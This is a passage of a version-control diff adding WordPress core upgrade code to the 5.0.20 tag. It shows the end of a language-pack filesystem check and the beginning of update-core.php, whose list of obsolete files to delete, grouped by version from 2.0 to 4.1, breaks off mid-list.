+ * Check if WordPress has access to the filesystem without asking for
+ * credentials.
+ *
+ * @since 4.0.0
+ *
+ * @return bool Returns true on success, false on failure.
+ */
+function wp_can_install_language_pack() {
+	if ( ! wp_is_file_mod_allowed( 'can_install_language_pack' ) ) {
+		return false;
+	}
+
+	require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+	$skin = new Automatic_Upgrader_Skin;
+	$upgrader = new Language_Pack_Upgrader( $skin );
+	$upgrader->init();
+
+	$check = $upgrader->fs_connect( array( WP_CONTENT_DIR, WP_LANG_DIR ) );
+
+	if ( ! $check || is_wp_error( $check ) ) {
+		return false;
+	}
+
+	return true;
+}
Index: /tags/5.0.20/src/wp-admin/includes/update-core.php
===================================================================
--- /tags/5.0.20/src/wp-admin/includes/update-core.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/includes/update-core.php	(revision 56912)
@@ -0,0 +1,1394 @@
+<?php
+/**
+ * WordPress core upgrade functionality.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ * @since 2.7.0
+ */
+
+/**
+ * Stores files to be deleted.
+ *
+ * @since 2.7.0
+ * @global array $_old_files
+ * @var array
+ * @name $_old_files
+ */
+global $_old_files;
+
+$_old_files = array(
+// 2.0
+'wp-admin/import-b2.php',
+'wp-admin/import-blogger.php',
+'wp-admin/import-greymatter.php',
+'wp-admin/import-livejournal.php',
+'wp-admin/import-mt.php',
+'wp-admin/import-rss.php',
+'wp-admin/import-textpattern.php',
+'wp-admin/quicktags.js',
+'wp-images/fade-butt.png',
+'wp-images/get-firefox.png',
+'wp-images/header-shadow.png',
+'wp-images/smilies',
+'wp-images/wp-small.png',
+'wp-images/wpminilogo.png',
+'wp.php',
+// 2.0.8
+'wp-includes/js/tinymce/plugins/inlinepopups/readme.txt',
+// 2.1
+'wp-admin/edit-form-ajax-cat.php',
+'wp-admin/execute-pings.php',
+'wp-admin/inline-uploading.php',
+'wp-admin/link-categories.php',
+'wp-admin/list-manipulation.js',
+'wp-admin/list-manipulation.php',
+'wp-includes/comment-functions.php',
+'wp-includes/feed-functions.php',
+'wp-includes/functions-compat.php',
+'wp-includes/functions-formatting.php',
+'wp-includes/functions-post.php',
+'wp-includes/js/dbx-key.js',
+'wp-includes/js/tinymce/plugins/autosave/langs/cs.js',
+'wp-includes/js/tinymce/plugins/autosave/langs/sv.js',
+'wp-includes/links.php',
+'wp-includes/pluggable-functions.php',
+'wp-includes/template-functions-author.php',
+'wp-includes/template-functions-category.php',
+'wp-includes/template-functions-general.php',
+'wp-includes/template-functions-links.php',
+'wp-includes/template-functions-post.php',
+'wp-includes/wp-l10n.php',
+// 2.2
+'wp-admin/cat-js.php',
+'wp-admin/import/b2.php',
+'wp-includes/js/autosave-js.php',
+'wp-includes/js/list-manipulation-js.php',
+'wp-includes/js/wp-ajax-js.php',
+// 2.3
+'wp-admin/admin-db.php',
+'wp-admin/cat.js',
+'wp-admin/categories.js',
+'wp-admin/custom-fields.js',
+'wp-admin/dbx-admin-key.js',
+'wp-admin/edit-comments.js',
+'wp-admin/install-rtl.css',
+'wp-admin/install.css',
+'wp-admin/upgrade-schema.php',
+'wp-admin/upload-functions.php',
+'wp-admin/upload-rtl.css',
+'wp-admin/upload.css',
+'wp-admin/upload.js',
+'wp-admin/users.js',
+'wp-admin/widgets-rtl.css',
+'wp-admin/widgets.css',
+'wp-admin/xfn.js',
+'wp-includes/js/tinymce/license.html',
+// 2.5
+'wp-admin/css/upload.css',
+'wp-admin/images/box-bg-left.gif',
+'wp-admin/images/box-bg-right.gif',
+'wp-admin/images/box-bg.gif',
+'wp-admin/images/box-butt-left.gif',
+'wp-admin/images/box-butt-right.gif',
+'wp-admin/images/box-butt.gif',
+'wp-admin/images/box-head-left.gif',
+'wp-admin/images/box-head-right.gif',
+'wp-admin/images/box-head.gif',
+'wp-admin/images/heading-bg.gif',
+'wp-admin/images/login-bkg-bottom.gif',
+'wp-admin/images/login-bkg-tile.gif',
+'wp-admin/images/notice.gif',
+'wp-admin/images/toggle.gif',
+'wp-admin/includes/upload.php',
+'wp-admin/js/dbx-admin-key.js',
+'wp-admin/js/link-cat.js',
+'wp-admin/profile-update.php',
+'wp-admin/templates.php',
+'wp-includes/images/wlw/WpComments.png',
+'wp-includes/images/wlw/WpIcon.png',
+'wp-includes/images/wlw/WpWatermark.png',
+'wp-includes/js/dbx.js',
+'wp-includes/js/fat.js',
+'wp-includes/js/list-manipulation.js',
+'wp-includes/js/tinymce/langs/en.js',
+'wp-includes/js/tinymce/plugins/autosave/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/autosave/langs',
+'wp-includes/js/tinymce/plugins/directionality/images',
+'wp-includes/js/tinymce/plugins/directionality/langs',
+'wp-includes/js/tinymce/plugins/inlinepopups/css',
+'wp-includes/js/tinymce/plugins/inlinepopups/images',
+'wp-includes/js/tinymce/plugins/inlinepopups/jscripts',
+'wp-includes/js/tinymce/plugins/paste/images',
+'wp-includes/js/tinymce/plugins/paste/jscripts',
+'wp-includes/js/tinymce/plugins/paste/langs',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/HttpClient.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyGoogleSpell.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyPspell.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/classes/TinyPspellShell.class.php',
+'wp-includes/js/tinymce/plugins/spellchecker/css/spellchecker.css',
+'wp-includes/js/tinymce/plugins/spellchecker/images',
+'wp-includes/js/tinymce/plugins/spellchecker/langs',
+'wp-includes/js/tinymce/plugins/spellchecker/tinyspell.php',
+'wp-includes/js/tinymce/plugins/wordpress/images',
+'wp-includes/js/tinymce/plugins/wordpress/langs',
+'wp-includes/js/tinymce/plugins/wordpress/wordpress.css',
+'wp-includes/js/tinymce/plugins/wphelp',
+'wp-includes/js/tinymce/themes/advanced/css',
+'wp-includes/js/tinymce/themes/advanced/images',
+'wp-includes/js/tinymce/themes/advanced/jscripts',
+'wp-includes/js/tinymce/themes/advanced/langs',
+// 2.5.1
+'wp-includes/js/tinymce/tiny_mce_gzip.php',
+// 2.6
+'wp-admin/bookmarklet.php',
+'wp-includes/js/jquery/jquery.dimensions.min.js',
+'wp-includes/js/tinymce/plugins/wordpress/popups.css',
+'wp-includes/js/wp-ajax.js',
+// 2.7
+'wp-admin/css/press-this-ie-rtl.css',
+'wp-admin/css/press-this-ie.css',
+'wp-admin/css/upload-rtl.css',
+'wp-admin/edit-form.php',
+'wp-admin/images/comment-pill.gif',
+'wp-admin/images/comment-stalk-classic.gif',
+'wp-admin/images/comment-stalk-fresh.gif',
+'wp-admin/images/comment-stalk-rtl.gif',
+'wp-admin/images/del.png',
+'wp-admin/images/gear.png',
+'wp-admin/images/media-button-gallery.gif',
+'wp-admin/images/media-buttons.gif',
+'wp-admin/images/postbox-bg.gif',
+'wp-admin/images/tab.png',
+'wp-admin/images/tail.gif',
+'wp-admin/js/forms.js',
+'wp-admin/js/upload.js',
+'wp-admin/link-import.php',
+'wp-includes/images/audio.png',
+'wp-includes/images/css.png',
+'wp-includes/images/default.png',
+'wp-includes/images/doc.png',
+'wp-includes/images/exe.png',
+'wp-includes/images/html.png',
+'wp-includes/images/js.png',
+'wp-includes/images/pdf.png',
+'wp-includes/images/swf.png',
+'wp-includes/images/tar.png',
+'wp-includes/images/text.png',
+'wp-includes/images/video.png',
+'wp-includes/images/zip.png',
+'wp-includes/js/tinymce/tiny_mce_config.php',
+'wp-includes/js/tinymce/tiny_mce_ext.js',
+// 2.8
+'wp-admin/js/users.js',
+'wp-includes/js/swfupload/plugins/swfupload.documentready.js',
+'wp-includes/js/swfupload/plugins/swfupload.graceful_degradation.js',
+'wp-includes/js/swfupload/swfupload_f9.swf',
+'wp-includes/js/tinymce/plugins/autosave',
+'wp-includes/js/tinymce/plugins/paste/css',
+'wp-includes/js/tinymce/utils/mclayer.js',
+'wp-includes/js/tinymce/wordpress.css',
+// 2.8.5
+'wp-admin/import/btt.php',
+'wp-admin/import/jkw.php',
+// 2.9
+'wp-admin/js/page.dev.js',
+'wp-admin/js/page.js',
+'wp-admin/js/set-post-thumbnail-handler.dev.js',
+'wp-admin/js/set-post-thumbnail-handler.js',
+'wp-admin/js/slug.dev.js',
+'wp-admin/js/slug.js',
+'wp-includes/gettext.php',
+'wp-includes/js/tinymce/plugins/wordpress/js',
+'wp-includes/streams.php',
+// MU
+'README.txt',
+'htaccess.dist',
+'index-install.php',
+'wp-admin/css/mu-rtl.css',
+'wp-admin/css/mu.css',
+'wp-admin/images/site-admin.png',
+'wp-admin/includes/mu.php',
+'wp-admin/wpmu-admin.php',
+'wp-admin/wpmu-blogs.php',
+'wp-admin/wpmu-edit.php',
+'wp-admin/wpmu-options.php',
+'wp-admin/wpmu-themes.php',
+'wp-admin/wpmu-upgrade-site.php',
+'wp-admin/wpmu-users.php',
+'wp-includes/images/wordpress-mu.png',
+'wp-includes/wpmu-default-filters.php',
+'wp-includes/wpmu-functions.php',
+'wpmu-settings.php',
+// 3.0
+'wp-admin/categories.php',
+'wp-admin/edit-category-form.php',
+'wp-admin/edit-page-form.php',
+'wp-admin/edit-pages.php',
+'wp-admin/images/admin-header-footer.png',
+'wp-admin/images/browse-happy.gif',
+'wp-admin/images/ico-add.png',
+'wp-admin/images/ico-close.png',
+'wp-admin/images/ico-edit.png',
+'wp-admin/images/ico-viewpage.png',
+'wp-admin/images/fav-top.png',
+'wp-admin/images/screen-options-left.gif',
+'wp-admin/images/wp-logo-vs.gif',
+'wp-admin/images/wp-logo.gif',
+'wp-admin/import',
+'wp-admin/js/wp-gears.dev.js',
+'wp-admin/js/wp-gears.js',
+'wp-admin/options-misc.php',
+'wp-admin/page-new.php',
+'wp-admin/page.php',
+'wp-admin/rtl.css',
+'wp-admin/rtl.dev.css',
+'wp-admin/update-links.php',
+'wp-admin/wp-admin.css',
+'wp-admin/wp-admin.dev.css',
+'wp-includes/js/codepress',
+'wp-includes/js/codepress/engines/khtml.js',
+'wp-includes/js/codepress/engines/older.js',
+'wp-includes/js/jquery/autocomplete.dev.js',
+'wp-includes/js/jquery/autocomplete.js',
+'wp-includes/js/jquery/interface.js',
+'wp-includes/js/scriptaculous/prototype.js',
+'wp-includes/js/tinymce/wp-tinymce.js',
+// 3.1
+'wp-admin/edit-attachment-rows.php',
+'wp-admin/edit-link-categories.php',
+'wp-admin/edit-link-category-form.php',
+'wp-admin/edit-post-rows.php',
+'wp-admin/images/button-grad-active-vs.png',
+'wp-admin/images/button-grad-vs.png',
+'wp-admin/images/fav-arrow-vs-rtl.gif',
+'wp-admin/images/fav-arrow-vs.gif',
+'wp-admin/images/fav-top-vs.gif',
+'wp-admin/images/list-vs.png',
+'wp-admin/images/screen-options-right-up.gif',
+'wp-admin/images/screen-options-right.gif',
+'wp-admin/images/visit-site-button-grad-vs.gif',
+'wp-admin/images/visit-site-button-grad.gif',
+'wp-admin/link-category.php',
+'wp-admin/sidebar.php',
+'wp-includes/classes.php',
+'wp-includes/js/tinymce/blank.htm',
+'wp-includes/js/tinymce/plugins/media/css/content.css',
+'wp-includes/js/tinymce/plugins/media/img',
+'wp-includes/js/tinymce/plugins/safari',
+// 3.2
+'wp-admin/images/logo-login.gif',
+'wp-admin/images/star.gif',
+'wp-admin/js/list-table.dev.js',
+'wp-admin/js/list-table.js',
+'wp-includes/default-embeds.php',
+'wp-includes/js/tinymce/plugins/wordpress/img/help.gif',
+'wp-includes/js/tinymce/plugins/wordpress/img/more.gif',
+'wp-includes/js/tinymce/plugins/wordpress/img/toolbars.gif',
+'wp-includes/js/tinymce/themes/advanced/img/fm.gif',
+'wp-includes/js/tinymce/themes/advanced/img/sflogo.png',
+// 3.3
+'wp-admin/css/colors-classic-rtl.css',
+'wp-admin/css/colors-classic-rtl.dev.css',
+'wp-admin/css/colors-fresh-rtl.css',
+'wp-admin/css/colors-fresh-rtl.dev.css',
+'wp-admin/css/dashboard-rtl.dev.css',
+'wp-admin/css/dashboard.dev.css',
+'wp-admin/css/global-rtl.css',
+'wp-admin/css/global-rtl.dev.css',
+'wp-admin/css/global.css',
+'wp-admin/css/global.dev.css',
+'wp-admin/css/install-rtl.dev.css',
+'wp-admin/css/login-rtl.dev.css',
+'wp-admin/css/login.dev.css',
+'wp-admin/css/ms.css',
+'wp-admin/css/ms.dev.css',
+'wp-admin/css/nav-menu-rtl.css',
+'wp-admin/css/nav-menu-rtl.dev.css',
+'wp-admin/css/nav-menu.css',
+'wp-admin/css/nav-menu.dev.css',
+'wp-admin/css/plugin-install-rtl.css',
+'wp-admin/css/plugin-install-rtl.dev.css',
+'wp-admin/css/plugin-install.css',
+'wp-admin/css/plugin-install.dev.css',
+'wp-admin/css/press-this-rtl.dev.css',
+'wp-admin/css/press-this.dev.css',
+'wp-admin/css/theme-editor-rtl.css',
+'wp-admin/css/theme-editor-rtl.dev.css',
+'wp-admin/css/theme-editor.css',
+'wp-admin/css/theme-editor.dev.css',
+'wp-admin/css/theme-install-rtl.css',
+'wp-admin/css/theme-install-rtl.dev.css',
+'wp-admin/css/theme-install.css',
+'wp-admin/css/theme-install.dev.css',
+'wp-admin/css/widgets-rtl.dev.css',
+'wp-admin/css/widgets.dev.css',
+'wp-admin/includes/internal-linking.php',
+'wp-includes/images/admin-bar-sprite-rtl.png',
+'wp-includes/js/jquery/ui.button.js',
+'wp-includes/js/jquery/ui.core.js',
+'wp-includes/js/jquery/ui.dialog.js',
+'wp-includes/js/jquery/ui.draggable.js',
+'wp-includes/js/jquery/ui.droppable.js',
+'wp-includes/js/jquery/ui.mouse.js',
+'wp-includes/js/jquery/ui.position.js',
+'wp-includes/js/jquery/ui.resizable.js',
+'wp-includes/js/jquery/ui.selectable.js',
+'wp-includes/js/jquery/ui.sortable.js',
+'wp-includes/js/jquery/ui.tabs.js',
+'wp-includes/js/jquery/ui.widget.js',
+'wp-includes/js/l10n.dev.js',
+'wp-includes/js/l10n.js',
+'wp-includes/js/tinymce/plugins/wplink/css',
+'wp-includes/js/tinymce/plugins/wplink/img',
+'wp-includes/js/tinymce/plugins/wplink/js',
+'wp-includes/js/tinymce/themes/advanced/img/wpicons.png',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/butt2.png',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/button_bg.png',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/down_arrow.gif',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/fade-butt.png',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/separator.gif',
+// Don't delete, yet: 'wp-rss.php',
+// Don't delete, yet: 'wp-rdf.php',
+// Don't delete, yet: 'wp-rss2.php',
+// Don't delete, yet: 'wp-commentsrss2.php',
+// Don't delete, yet: 'wp-atom.php',
+// Don't delete, yet: 'wp-feed.php',
+// 3.4
+'wp-admin/images/gray-star.png',
+'wp-admin/images/logo-login.png',
+'wp-admin/images/star.png',
+'wp-admin/index-extra.php',
+'wp-admin/network/index-extra.php',
+'wp-admin/user/index-extra.php',
+'wp-admin/images/screenshots/admin-flyouts.png',
+'wp-admin/images/screenshots/coediting.png',
+'wp-admin/images/screenshots/drag-and-drop.png',
+'wp-admin/images/screenshots/help-screen.png',
+'wp-admin/images/screenshots/media-icon.png',
+'wp-admin/images/screenshots/new-feature-pointer.png',
+'wp-admin/images/screenshots/welcome-screen.png',
+'wp-includes/css/editor-buttons.css',
+'wp-includes/css/editor-buttons.dev.css',
+'wp-includes/js/tinymce/plugins/paste/blank.htm',
+'wp-includes/js/tinymce/plugins/wordpress/css',
+'wp-includes/js/tinymce/plugins/wordpress/editor_plugin.dev.js',
+'wp-includes/js/tinymce/plugins/wordpress/img/embedded.png',
+'wp-includes/js/tinymce/plugins/wordpress/img/more_bug.gif',
+'wp-includes/js/tinymce/plugins/wordpress/img/page_bug.gif',
+'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin.dev.js',
+'wp-includes/js/tinymce/plugins/wpeditimage/css/editimage-rtl.css',
+'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.dev.js',
+'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin.dev.js',
+'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.dev.js',
+'wp-includes/js/tinymce/plugins/wpgallery/img/gallery.png',
+'wp-includes/js/tinymce/plugins/wplink/editor_plugin.dev.js',
+// Don't delete, yet: 'wp-pass.php',
+// Don't delete, yet: 'wp-register.php',
+// 3.5
+'wp-admin/gears-manifest.php',
+'wp-admin/includes/manifest.php',
+'wp-admin/images/archive-link.png',
+'wp-admin/images/blue-grad.png',
+'wp-admin/images/button-grad-active.png',
+'wp-admin/images/button-grad.png',
+'wp-admin/images/ed-bg-vs.gif',
+'wp-admin/images/ed-bg.gif',
+'wp-admin/images/fade-butt.png',
+'wp-admin/images/fav-arrow-rtl.gif',
+'wp-admin/images/fav-arrow.gif',
+'wp-admin/images/fav-vs.png',
+'wp-admin/images/fav.png',
+'wp-admin/images/gray-grad.png',
+'wp-admin/images/loading-publish.gif',
+'wp-admin/images/logo-ghost.png',
+'wp-admin/images/logo.gif',
+'wp-admin/images/menu-arrow-frame-rtl.png',
+'wp-admin/images/menu-arrow-frame.png',
+'wp-admin/images/menu-arrows.gif',
+'wp-admin/images/menu-bits-rtl-vs.gif',
+'wp-admin/images/menu-bits-rtl.gif',
+'wp-admin/images/menu-bits-vs.gif',
+'wp-admin/images/menu-bits.gif',
+'wp-admin/images/menu-dark-rtl-vs.gif',
+'wp-admin/images/menu-dark-rtl.gif',
+'wp-admin/images/menu-dark-vs.gif',
+'wp-admin/images/menu-dark.gif',
+'wp-admin/images/required.gif',
+'wp-admin/images/screen-options-toggle-vs.gif',
+'wp-admin/images/screen-options-toggle.gif',
+'wp-admin/images/toggle-arrow-rtl.gif',
+'wp-admin/images/toggle-arrow.gif',
+'wp-admin/images/upload-classic.png',
+'wp-admin/images/upload-fresh.png',
+'wp-admin/images/white-grad-active.png',
+'wp-admin/images/white-grad.png',
+'wp-admin/images/widgets-arrow-vs.gif',
+'wp-admin/images/widgets-arrow.gif',
+'wp-admin/images/wpspin_dark.gif',
+'wp-includes/images/upload.png',
+'wp-includes/js/prototype.js',
+'wp-includes/js/scriptaculous',
+'wp-admin/css/wp-admin-rtl.dev.css',
+'wp-admin/css/wp-admin.dev.css',
+'wp-admin/css/media-rtl.dev.css',
+'wp-admin/css/media.dev.css',
+'wp-admin/css/colors-classic.dev.css',
+'wp-admin/css/customize-controls-rtl.dev.css',
+'wp-admin/css/customize-controls.dev.css',
+'wp-admin/css/ie-rtl.dev.css',
+'wp-admin/css/ie.dev.css',
+'wp-admin/css/install.dev.css',
+'wp-admin/css/colors-fresh.dev.css',
+'wp-includes/js/customize-base.dev.js',
+'wp-includes/js/json2.dev.js',
+'wp-includes/js/comment-reply.dev.js',
+'wp-includes/js/customize-preview.dev.js',
+'wp-includes/js/wplink.dev.js',
+'wp-includes/js/tw-sack.dev.js',
+'wp-includes/js/wp-list-revisions.dev.js',
+'wp-includes/js/autosave.dev.js',
+'wp-includes/js/admin-bar.dev.js',
+'wp-includes/js/quicktags.dev.js',
+'wp-includes/js/wp-ajax-response.dev.js',
+'wp-includes/js/wp-pointer.dev.js',
+'wp-includes/js/hoverIntent.dev.js',
+'wp-includes/js/colorpicker.dev.js',
+'wp-includes/js/wp-lists.dev.js',
+'wp-includes/js/customize-loader.dev.js',
+'wp-includes/js/jquery/jquery.table-hotkeys.dev.js',
+'wp-includes/js/jquery/jquery.color.dev.js',
+'wp-includes/js/jquery/jquery.color.js',
+'wp-includes/js/jquery/jquery.hotkeys.dev.js',
+'wp-includes/js/jquery/jquery.form.dev.js',
+'wp-includes/js/jquery/suggest.dev.js',
+'wp-admin/js/xfn.dev.js',
+'wp-admin/js/set-post-thumbnail.dev.js',
+'wp-admin/js/comment.dev.js',
+'wp-admin/js/theme.dev.js',
+'wp-admin/js/cat.dev.js',
+'wp-admin/js/password-strength-meter.dev.js',
+'wp-admin/js/user-profile.dev.js',
+'wp-admin/js/theme-preview.dev.js',
+'wp-admin/js/post.dev.js',
+'wp-admin/js/media-upload.dev.js',
+'wp-admin/js/word-count.dev.js',
+'wp-admin/js/plugin-install.dev.js',
+'wp-admin/js/edit-comments.dev.js',
+'wp-admin/js/media-gallery.dev.js',
+'wp-admin/js/custom-fields.dev.js',
+'wp-admin/js/custom-background.dev.js',
+'wp-admin/js/common.dev.js',
+'wp-admin/js/inline-edit-tax.dev.js',
+'wp-admin/js/gallery.dev.js',
+'wp-admin/js/utils.dev.js',
+'wp-admin/js/widgets.dev.js',
+'wp-admin/js/wp-fullscreen.dev.js',
+'wp-admin/js/nav-menu.dev.js',
+'wp-admin/js/dashboard.dev.js',
+'wp-admin/js/link.dev.js',
+'wp-admin/js/user-suggest.dev.js',
+'wp-admin/js/postbox.dev.js',
+'wp-admin/js/tags.dev.js',
+'wp-admin/js/image-edit.dev.js',
+'wp-admin/js/media.dev.js',
+'wp-admin/js/customize-controls.dev.js',
+'wp-admin/js/inline-edit-post.dev.js',
+'wp-admin/js/categories.dev.js',
+'wp-admin/js/editor.dev.js',
+'wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.dev.js',
+'wp-includes/js/tinymce/plugins/wpdialogs/js/popup.dev.js',
+'wp-includes/js/tinymce/plugins/wpdialogs/js/wpdialog.dev.js',
+'wp-includes/js/plupload/handlers.dev.js',
+'wp-includes/js/plupload/wp-plupload.dev.js',
+'wp-includes/js/swfupload/handlers.dev.js',
+'wp-includes/js/jcrop/jquery.Jcrop.dev.js',
+'wp-includes/js/jcrop/jquery.Jcrop.js',
+'wp-includes/js/jcrop/jquery.Jcrop.css',
+'wp-includes/js/imgareaselect/jquery.imgareaselect.dev.js',
+'wp-includes/css/wp-pointer.dev.css',
+'wp-includes/css/editor.dev.css',
+'wp-includes/css/jquery-ui-dialog.dev.css',
+'wp-includes/css/admin-bar-rtl.dev.css',
+'wp-includes/css/admin-bar.dev.css',
+'wp-includes/js/jquery/ui/jquery.effects.clip.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.scale.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.blind.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.core.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.shake.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.fade.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.explode.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.slide.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.drop.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.highlight.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.bounce.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.pulsate.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.transfer.min.js',
+'wp-includes/js/jquery/ui/jquery.effects.fold.min.js',
+'wp-admin/images/screenshots/captions-1.png',
+'wp-admin/images/screenshots/captions-2.png',
+'wp-admin/images/screenshots/flex-header-1.png',
+'wp-admin/images/screenshots/flex-header-2.png',
+'wp-admin/images/screenshots/flex-header-3.png',
+'wp-admin/images/screenshots/flex-header-media-library.png',
+'wp-admin/images/screenshots/theme-customizer.png',
+'wp-admin/images/screenshots/twitter-embed-1.png',
+'wp-admin/images/screenshots/twitter-embed-2.png',
+'wp-admin/js/utils.js',
+'wp-admin/options-privacy.php',
+'wp-app.php',
+'wp-includes/class-wp-atom-server.php',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/ui.css',
+// 3.5.2
+'wp-includes/js/swfupload/swfupload-all.js',
+// 3.6
+'wp-admin/js/revisions-js.php',
+'wp-admin/images/screenshots',
+'wp-admin/js/categories.js',
+'wp-admin/js/categories.min.js',
+'wp-admin/js/custom-fields.js',
+'wp-admin/js/custom-fields.min.js',
+// 3.7
+'wp-admin/js/cat.js',
+'wp-admin/js/cat.min.js',
+'wp-includes/js/tinymce/plugins/wpeditimage/js/editimage.min.js',
+// 3.8
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/page_bug.gif',
+'wp-includes/js/tinymce/themes/advanced/skins/wp_theme/img/more_bug.gif',
+'wp-includes/js/thickbox/tb-close-2x.png',
+'wp-includes/js/thickbox/tb-close.png',
+'wp-includes/images/wpmini-blue-2x.png',
+'wp-includes/images/wpmini-blue.png',
+'wp-admin/css/colors-fresh.css',
+'wp-admin/css/colors-classic.css',
+'wp-admin/css/colors-fresh.min.css',
+'wp-admin/css/colors-classic.min.css',
+'wp-admin/js/about.min.js',
+'wp-admin/js/about.js',
+'wp-admin/images/arrows-dark-vs-2x.png',
+'wp-admin/images/wp-logo-vs.png',
+'wp-admin/images/arrows-dark-vs.png',
+'wp-admin/images/wp-logo.png',
+'wp-admin/images/arrows-pr.png',
+'wp-admin/images/arrows-dark.png',
+'wp-admin/images/press-this.png',
+'wp-admin/images/press-this-2x.png',
+'wp-admin/images/arrows-vs-2x.png',
+'wp-admin/images/welcome-icons.png',
+'wp-admin/images/wp-logo-2x.png',
+'wp-admin/images/stars-rtl-2x.png',
+'wp-admin/images/arrows-dark-2x.png',
+'wp-admin/images/arrows-pr-2x.png',
+'wp-admin/images/menu-shadow-rtl.png',
+'wp-admin/images/arrows-vs.png',
+'wp-admin/images/about-search-2x.png',
+'wp-admin/images/bubble_bg-rtl-2x.gif',
+'wp-admin/images/wp-badge-2x.png',
+'wp-admin/images/wordpress-logo-2x.png',
+'wp-admin/images/bubble_bg-rtl.gif',
+'wp-admin/images/wp-badge.png',
+'wp-admin/images/menu-shadow.png',
+'wp-admin/images/about-globe-2x.png',
+'wp-admin/images/welcome-icons-2x.png',
+'wp-admin/images/stars-rtl.png',
+'wp-admin/images/wp-logo-vs-2x.png',
+'wp-admin/images/about-updates-2x.png',
+// 3.9
+'wp-admin/css/colors.css',
+'wp-admin/css/colors.min.css',
+'wp-admin/css/colors-rtl.css',
+'wp-admin/css/colors-rtl.min.css',
+// Following files added back in 4.5 see #36083
+// 'wp-admin/css/media-rtl.min.css',
+// 'wp-admin/css/media.min.css',
+// 'wp-admin/css/farbtastic-rtl.min.css',
+'wp-admin/images/lock-2x.png',
+'wp-admin/images/lock.png',
+'wp-admin/js/theme-preview.js',
+'wp-admin/js/theme-install.min.js',
+'wp-admin/js/theme-install.js',
+'wp-admin/js/theme-preview.min.js',
+'wp-includes/js/plupload/plupload.html4.js',
+'wp-includes/js/plupload/plupload.html5.js',
+'wp-includes/js/plupload/changelog.txt',
+'wp-includes/js/plupload/plupload.silverlight.js',
+'wp-includes/js/plupload/plupload.flash.js',
+// Added back in 4.9 [41328], see #41755
+// 'wp-includes/js/plupload/plupload.js',
+'wp-includes/js/tinymce/plugins/spellchecker',
+'wp-includes/js/tinymce/plugins/inlinepopups',
+'wp-includes/js/tinymce/plugins/media/js',
+'wp-includes/js/tinymce/plugins/media/css',
+'wp-includes/js/tinymce/plugins/wordpress/img',
+'wp-includes/js/tinymce/plugins/wpdialogs/js',
+'wp-includes/js/tinymce/plugins/wpeditimage/img',
+'wp-includes/js/tinymce/plugins/wpeditimage/js',
+'wp-includes/js/tinymce/plugins/wpeditimage/css',
+'wp-includes/js/tinymce/plugins/wpgallery/img',
+'wp-includes/js/tinymce/plugins/wpfullscreen/css',
+'wp-includes/js/tinymce/plugins/paste/js',
+'wp-includes/js/tinymce/themes/advanced',
+'wp-includes/js/tinymce/tiny_mce.js',
+'wp-includes/js/tinymce/mark_loaded_src.js',
+'wp-includes/js/tinymce/wp-tinymce-schema.js',
+'wp-includes/js/tinymce/plugins/media/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/media/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/media/media.htm',
+'wp-includes/js/tinymce/plugins/wpview/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wpview/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/directionality/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/directionality/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wordpress/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wordpress/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wpdialogs/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wpeditimage/editimage.html',
+'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wpeditimage/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/fullscreen/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/fullscreen/fullscreen.htm',
+'wp-includes/js/tinymce/plugins/fullscreen/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wplink/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wplink/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wpgallery/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/tabfocus/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/tabfocus/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/wpfullscreen/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/paste/editor_plugin.js',
+'wp-includes/js/tinymce/plugins/paste/pasteword.htm',
+'wp-includes/js/tinymce/plugins/paste/editor_plugin_src.js',
+'wp-includes/js/tinymce/plugins/paste/pastetext.htm',
+'wp-includes/js/tinymce/langs/wp-langs.php',
+// 4.1
+'wp-includes/js/jquery/ui/jquery.ui.accordion.min.js',
